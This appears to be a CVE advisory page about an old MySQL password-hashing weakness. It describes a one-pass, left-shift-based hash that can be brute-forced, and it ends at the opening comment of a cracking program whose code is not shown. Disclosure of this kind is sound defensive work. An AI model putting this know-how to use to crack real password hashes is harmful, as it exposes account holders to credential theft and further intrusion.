CVE Descriptions

MySQL 3.20 through 4.1.0 uses a weak algorithm for hashed passwords, which makes it easier for attackers to decrypt the password via brute force methods.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/7500/info MySQL has been reported to implement a weak password encryption algorithm. It has been reported that the MySQL function used to encrypt MySQL passwords makes just one pass over the password and employs a weak left shift based cipher. The hash may be cracked in little time using a bruteforce method. An attacker may use information recovered in this way to aid in further attacks launched against the underlying system. /* This program is public domain.
